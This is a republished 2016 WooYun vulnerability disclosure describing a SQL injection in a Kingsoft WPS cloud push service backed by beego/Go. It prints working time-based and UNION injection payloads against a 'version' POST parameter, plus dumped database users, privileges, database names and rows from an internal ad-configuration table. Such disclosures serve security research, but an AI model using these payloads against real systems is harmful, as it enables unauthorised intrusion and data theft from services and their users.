金山云服务一处注入（后台可是GO语言写的哦）

admin
admin
admin
139701
文章
114
评论
2017年4月14日05:01:31评论304 views字数 209阅读0分41秒阅读模式
摘要

2016-04-01： 细节已通知厂商并且等待厂商处理中
2016-04-01： 厂商已经确认，细节仅向厂商公开
2016-04-11： 细节向核心白帽子及相关领域专家公开
2016-04-21： 细节向普通白帽子公开
2016-05-01： 细节向实习白帽子公开
2016-05-16： 细节向公众公开

漏洞概要 关注数(7) 关注此漏洞

缺陷编号： WooYun-2016-191362

漏洞标题： 金山云服务一处注入（后台可是GO语言写的哦）

相关厂商： 金山软件集团

漏洞作者： sauce

提交时间： 2016-04-01 13:16

公开时间： 2016-05-16 13:40

漏洞类型： SQL注射漏洞

危害等级： 高

自评Rank： 15

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： go

1人收藏

漏洞详情

披露状态：

2016-04-01： 细节已通知厂商并且等待厂商处理中
2016-04-01： 厂商已经确认，细节仅向厂商公开
2016-04-11： 细节向核心白帽子及相关领域专家公开
2016-04-21： 细节向普通白帽子公开
2016-05-01： 细节向实习白帽子公开
2016-05-16： 细节向公众公开

简要描述：

rt
高权限数据库用户 已入后台
beego 1.6.0 (beego framework)
golang version: go1.4.2
毕竟不是世界最好的语言 没法写shell了

详细说明：

code 区域 
---
 Parameter: version (POST)
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: version=9.6.1') AND (SELECT * FROM (SELECT(SLEEP(5)))AlBP) AND ('jmTj'='jmTj&firstchannel=cn00571&channel=cn00577&deviceid=338e401cb9136d68ce6d9dedfe671f7a&package=cn.wps.moffice_eng&lang=zh-CN&devicetype=&beta=false&sdkversion=22
 
     Type: UNION query
     Title: Generic UNION query (NULL) - 15 columns
     Payload: version=9.6.1') UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x717a766b71,0x55556f4e4f504d7a59564548636c684b524d6853525146725855576c516a645473634e664d635852,0x717a707171),NULL-- -&firstchannel=cn00571&channel=cn00577&deviceid=338e401cb9136d68ce6d9dedfe671f7a&package=cn.wps.moffice_eng&lang=zh-CN&devicetype=&beta=false&sdkversion=22
 ---
 web application technology: Nginx
 back-end DBMS: MySQL 5.0.12
 banner:    '5.6.21-log'
 current user:    'root@%'
 current database:    'info_stream'
 hostname:    'ip-10-18-0-4'

金山云服务一处注入（后台可是GO语言写的哦）

金山云服务一处注入（后台可是GO语言写的哦）

可修改推送信息

漏洞证明：

什么权限都有 看吧。。

code 区域 
database management system users [2]:
 [*] 'rdsadmin'@'localhost'
 [*] 'root'@'%'
 database management system users privileges:
 [*] 'rdsadmin'@'localhost' (administrator) [28]:
     privilege: ALTER
     privilege: ALTER ROUTINE
     privilege: CREATE
     privilege: CREATE ROUTINE
     privilege: CREATE TABLESPACE
     privilege: CREATE TEMPORARY TABLES
     privilege: CREATE USER
     privilege: CREATE VIEW
     privilege: DELETE
     privilege: DROP
     privilege: EVENT
     privilege: EXECUTE
     privilege: FILE
     privilege: INDEX
     privilege: INSERT
     privilege: LOCK TABLES
     privilege: PROCESS
     privilege: REFERENCES
     privilege: RELOAD
     privilege: REPLICATION CLIENT
     privilege: REPLICATION SLAVE
     privilege: SELECT
     privilege: SHOW DATABASES
     privilege: SHOW VIEW
     privilege: SHUTDOWN
     privilege: SUPER
     privilege: TRIGGER
     privilege: UPDATE
 [*] 'root'@'%' [24]:
     privilege: ALTER
     privilege: ALTER ROUTINE
     privilege: CREATE
     privilege: CREATE ROUTINE
     privilege: CREATE TEMPORARY TABLES
     privilege: CREATE USER
     privilege: CREATE VIEW
     privilege: DELETE
     privilege: DROP
     privilege: EVENT
     privilege: EXECUTE
     privilege: INDEX
     privilege: INSERT
     privilege: LOCK TABLES
     privilege: PROCESS
     privilege: REFERENCES
     privilege: RELOAD
     privilege: REPLICATION CLIENT
     privilege: REPLICATION SLAVE
     privilege: SELECT
     privilege: SHOW DATABASES
     privilege: SHOW VIEW
     privilege: TRIGGER
     privilege: UPDATE
 available databases [8]:
 [*] discover
 [*] home_info_stream
 [*] info_stream
 [*] information_schema
 [*] innodb
 [*] mysql
 [*] performance_schema
 [*] tmp

<code>

Database: info_stream

Table: card

[88 entries]

+-----+-------------+----------------------+----------------------------------------+-------+-------+--------+---------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------+------------------+------------+------------------+--------------+

| id | lang | type | name | crowd | param | weight | labels | append | channel | version | effecttime | label_type | exceedtime | subscription |

+-----+-------------+----------------------+----------------------------------------+-------+-------+--------+---------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+-----------------+------------------+------------+------------------+--------------+

| 14 | zh-cn | wpscommunity | WPS社区 | NULL | off | 8 | NULL | title_1:搬砖一年无人懂？雷军教你如何“发布”自己//u0026neturl_1:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=5005//u0026tid_1:5005//u0026tag_1:推荐//u0026title_2:五种常用结构帮你写好个人总结//u0026neturl_2:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=4392//u0026tid_2:4392//u0026title_3:聊一聊那些渐渐被人忽略的小年习俗//u0026neturl_3:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=5128//u0026tid_3:5128//u0026moreurl:http://bbs.mo.wps.cn/forum.php?mod=forumdisplay%26fid=39//u0026buttoncolor:#FF52A0F8%26#FF4587D2 | all | all | 2016-01-20 00:00 | NULL | 2016-01-31 23:59 | NULL |

| 16 | zh-cn | apprecommendationall | 应用推荐（正式） | NULL | off | 22 | NULL | imgmd5_1:c41130c5f1b0b0ff34c04d5999d1d208//u0026imgurl_1:http://dl.mo.cache.wps.cn/mobile/android/splash/Card-WPSMail.png//u0026appname_1:WPS邮件//u0026setupcounts_1:1000万人安装//u0026downloadurl_1:http://kad.www.wps.cn/wps/download/wpsmail/WpsMail_rec009.apk//u0026imgmd5_2:15739f9337b02b6010277a624bb44859//u0026imgurl_2:http://dl.mo.cache.wps.cn/mobile/android/splash/Card-iCiba.png//u0026appname_2:金山词霸//u0026setupcounts_2:500万人安装//u0026downloadurl_2:http://download.iciba.com/android/powerword/PowerWordrec004.apk//u0026imgmd5_3:efe7f5f1f308c76004ec6b433dae6e73//u0026imgurl_3:http://dl.mo.cache.wps.cn/mobile/android/splash/Card-Qingxing.png//u0026appname_3:轻醒//u0026setupcounts_3:300万人安装//u0026downloadurl_3:http://lighting.kssws.ks-cdn.com/apk/ToDo_d001_2.2.1__8c8d407.apk//u0026buttoncolor:#FFEF416E%26#FFCA365D | dev,cn00999,cninner001,en00000,cn00000 | all | 2015-10-15 14:50 | NULL | 2016-12-31 23:59 | NULL |

| 31 | zh-cn | hotnews | 标题你想要起什么名字都可以的都可以的都可以的都可以的都可以的都可以的都可以的 | NULL | on | 1 | NULL | newstype:yidian//u0026newscounts:5//u0026channel_id:1//u0026crowd:0,10 | cn01111,cn00999 | all | 2016-01-21 00:00 | NULL | 2016-03-26 19:48 | NULL |

| 33 | zh-cn | function | 发送到桌面 | 0,10 | on | 6 | <blank> | imgurl:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/4-1.jpg//u0026description:阅读完成！发送到桌面，下次打开更方便。//u0026imgurl_done:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/success-sendtodesk1.jpg//u0026button_name:发送到桌面//u0026action:desktop//u0026buttoncolor:#FF52A0F8%26#FF4587D2//u0026crowd:0,10 | all | all | 2016-01-22 00:00 | none | 2016-02-28 23:59 | 0 |

| 34 | zh-cn | function | 文档漫游 | 0,10 | on | 5 | <blank> | imgurl:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/2.jpg//u0026description:开启文档漫游，换个设备接着写。//u0026imgurl_done:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/sucess-roaming.jpg//u0026button_name:开启文档漫游//u0026action:roaming//u0026buttoncolor:#FF52A0F8%26#FF4587D2//u0026crowd:0,10 | all | all | 2016-01-22 00:00 | none | 2016-02-28 23:59 | 0 |

| 35 | zh-cn | dailysentence | 每日一句 | NULL | off | 8 | NULL | sentencetype:词霸//u0026wpscn:变老是注定的，而成长却是可以选择的。//u0026extradescription:(Chili Davis)//u0026wpsen:Growing old is mandatory; growing up is optional. | all | all | 2016-01-22 00:00 | NULL | 2016-02-29 23:59 | NULL |

| 37 | zh-cn | wpscommunity | WPS社区测试卡 | NULL | off | 14 | NULL | title_1:只干不说傻把式，职场牛人都是这么写年终总结的//u0026neturl_1:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=2033//u0026tid_1:2033//u0026tag_1:爆料//u0026title_2:再见，我明天不能玩wps了，可能要考完试 //u0026neturl_2:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=4361//u0026tid_2:4361//u0026tag_2:原创//u0026title_3:WPS CEO葛珂获北京最具影响力十大企业家//u0026neturl_3:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=2928//u0026tid_3:2928//u0026tag_3:推荐//u0026moreurl:http://bbs.mo.wps.cn/forum.php?mod=forumdisplay%26fid=39//u0026buttoncolor:#FF52A0F8%26#FF4587D2 | dev,cn00999,cninner001,en00000,cn00000 | all | 2015-10-15 14:50 | NULL | 2016-12-31 23:59 | NULL |

| 38 | zh-cn | thirdad | 猎豹1 | 0,10 | on | 1 | <blank> | ad_type:shiqu | cninner001,cn00999,dev | all | 2016-01-20 11:55 | none | 2016-04-08 19:57 | 0 |

| 39 | zh-cn | bigpicad | 帕尼尼热香出炉 | 0,10 | on | 2 | <blank> | ad_title:帕尼尼热香出炉//u0026imgmd5:93a88a014b5bdd1e8d657ecaee2f9442//u0026imgurl:http://dl.mo.cache.wps.cn/mobile/android/bottom_ad/ad4.png//u0026description:肯德基帕尼尼特惠卷来啦！狂点图片，飞迸去领取吧！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！//u0026jumptype:webview//u0026neturl:https://www.4008823823.com.cn/kfcios/Html/Panini.html | cninner001，cn00999，dev,en00000,cn00000，cn01111 | all | 2015-10-20 15:25 | none | 2016-04-06 11:30 | 0 |

| 40 | zh-cn | smallpicad | 家具 | 0,10 | on | 2 | <blank> | ad_title:博洛尼全部定制，国际大事免费测量，1500套案例任选，全屋空间量身定制，优惠价格，有买有送//u0026description:卖疯了，全屋家具只售9万卖疯了，全屋家具只售9万卖疯了，全屋家具只售9万卖疯了，全屋家具只售9万卖疯了，全屋家具只售9万卖疯了，全屋家具只售9万卖疯了，全屋家具只售9万卖疯了，全屋家具只售9万卖疯了，全屋家具只售9万卖疯了，全屋家具只售9万卖疯了，全屋家具只售9万//u0026imgmd5:dcf80db6f6b4f29f71180fd0e47cb54f//u0026imgurl:http://dl.mo.cache.wps.cn/mobile/android/bottom_ad/ad5.png//u0026jumptype:webview//u0026neturl:http://www.meilele.com/jiaju/#se=us!X133d!X!Q9BFE5B89CE4B!H-!QEB6E5A5B7E58!H3!XJ-!QEB6E5A5B7E58D91E7B!H!X!QEB6E5A5B7E58D91E7BD80E59!H | cninner001，cn00999，dev,en00000,cn00000，cn01111 | all | 2015-10-20 15:25 | none | 2016-04-13 11:55 | 0 |

| 41 | zh-cn | wpscollege | WPS学院 | NULL | off | 3 | NULL | title:你怎么有这些特权？我也要成为会员！//u0026imgmd5:be5641efef0dab5edfb0156079e50d43//u0026imgurl:http://dl.mo.cache.wps.cn/mobile/android/bottomad/vip.jpg//u0026neturl:http://bbs.mo.wps.cn/forum.php?mod=viewthread%26tid=9067//u0026moreurl:http://bbs.mo.wps.cn/forum.php?mod=forumdisplay%26fid=38//u0026tid:9067//u0026tempneturl:http://dl.mo.cache.wps.cn/mobile/android/academy1/9067/index.html//u0026crowd:0,10 | all | all | 2016-03-20 00:00 | NULL | 2016-03-22 10:59 | NULL |

| 42 | zh-cn | wpsreadbook | 好书推荐 | NULL | on | 2 | NULL | bigpic:http://dl.mo.cache.wps.cn/mobile/android/read/bigpic.jpg//u0026smpic_1:http://dl.mo.cache.wps.cn/mobile/android/read/3.jpg//u0026smtitle_1:高位过招//u0026smscrip_1:有人说官场中人有两门绝活，一是变脸，二是换气。变脸就是你的脸要会七七四十九种表情，而且根据不同场合不同对象要在瞬间将脸上表情调整过来。不但准确而且一定要生动，要有质感。换气就是你说话的态度，口气的软硬，模棱两可含混不清还是干脆直接，是一句话直捣根本还是一个字一个字往外吐...//u0026smpic_2:http://dl.mo.cache.wps.cn/mobile/android/read/2.jpg//u0026smtitle_2:盗墓笔记//u0026smscrip_2:50年前由长沙土夫子(盗墓贼)出土的战国帛书，记载了一个奇特战国古墓的位置，50年后，其中一个土夫子的孙子在他的笔记中发现这个秘密，纠集了一批经验丰富的盗墓贼前去寻宝，谁也没有想到，这个古墓竟然有着这么多诡异的事情//u0026smpic_3:http://dl.mo.cache.wps.cn/mobile/android/read/1.jpg//u0026smtitle_3:芈月传//u0026smscrip_3:历史上的芈月，是秦始皇的太祖母、秦昭襄王之母、秦惠文王之妻，以一介女流之身把持朝政四十一载；她风流成性、口无遮拦，搅弄宫廷血雨腥风，却又特立独行、工于心计，为秦统一天下打下坚实基础！//u0026smneturl_1:http://wap.cmread.com/r/397145249/397145358.htm?fr=123%26vt=3%26readmode=2%26cm=M3940015//u0026smneturl_2:http://wap.cmread.com/r/346865084/346865086.htm?fr=123%26vt=3%26readmode=2%26cm=M3940015//u0026smneturl_3:http://wap.cmread.com/r/409858548/409858550.htm?fr=123%26vt=3%26readmode=2%26cm=M3940015//u0026bpneturl:http://wap.cmread.com/r/346827111/346827113.htm?fr=123%26vt=3%26readmode=2%26cm=M3940015//u0026moreneturl:http://wapjs.kanshu.com/webjs/index//u0026bptitle:鬼吹灯//u0026authortext1:许开帧//u0026authortext2:南派三叔//u0026authortext3:京城说书匠//u0026crowd:14,20,40 | cn01111，cn00999 | all | 2016-01-22 00:00 | NULL | 2016-03-29 21:46 | NULL |

| 43 | zh-cn | function | 扫一扫 | NULL | on | 7 | NULL | imgurl:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/1.jpg//u0026imgmd5:d82ae1a98416c61e5bde90740b85e9c6//u0026description:扫描二维码，轻松投影文档到电视。//u0026button_name:立即体验//u0026action:meeting//u0026buttoncolor:#FF52A0F8%26#FF4587D2//u0026crowd:0,10 | all | all | 2016-01-22 00:00 | NULL | 2016-02-28 23:59 | NULL |

| 47 | zh-cn | function | 夜间模式 | NULL | off | 17 | NULL | imgurl:http://dl.mo.cache.wps.cn/mobile/android/recommended-tech/3.jpg//u0026description:【夜间模式】抵挡刺眼背光，保护眼睛不受伤害。//u0026button_name:立即体验//u0026action:夜间模式 | cninner001，cn00999，dev,en00000,cn00000 | all | 2015-12-30 00:00 | NULL | 2016-12-30 00:00 | NULL |

| 50 | zh-cn | share | 分享卡 | all | on | 1 | <blank> | crowd:all | all | all | 2015-12-28 00:00 | none | 2016-12-30 23:59 | 0 |

| 51 | zh-cn | infinite | 无限卡

修复方案：

版权声明：转载请注明来源 sauce@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2016-04-01 13:39

厂商回复：

感谢提交，马上跟进处理

最新状态：

暂无

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

  1. 2016-04-06 20:12 | 邪少 ( 实习白帽子 | Rank:98 漏洞数:18 | 百里长苏)

    2

    毕竟不是世界最好的语言 没法写shell了

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin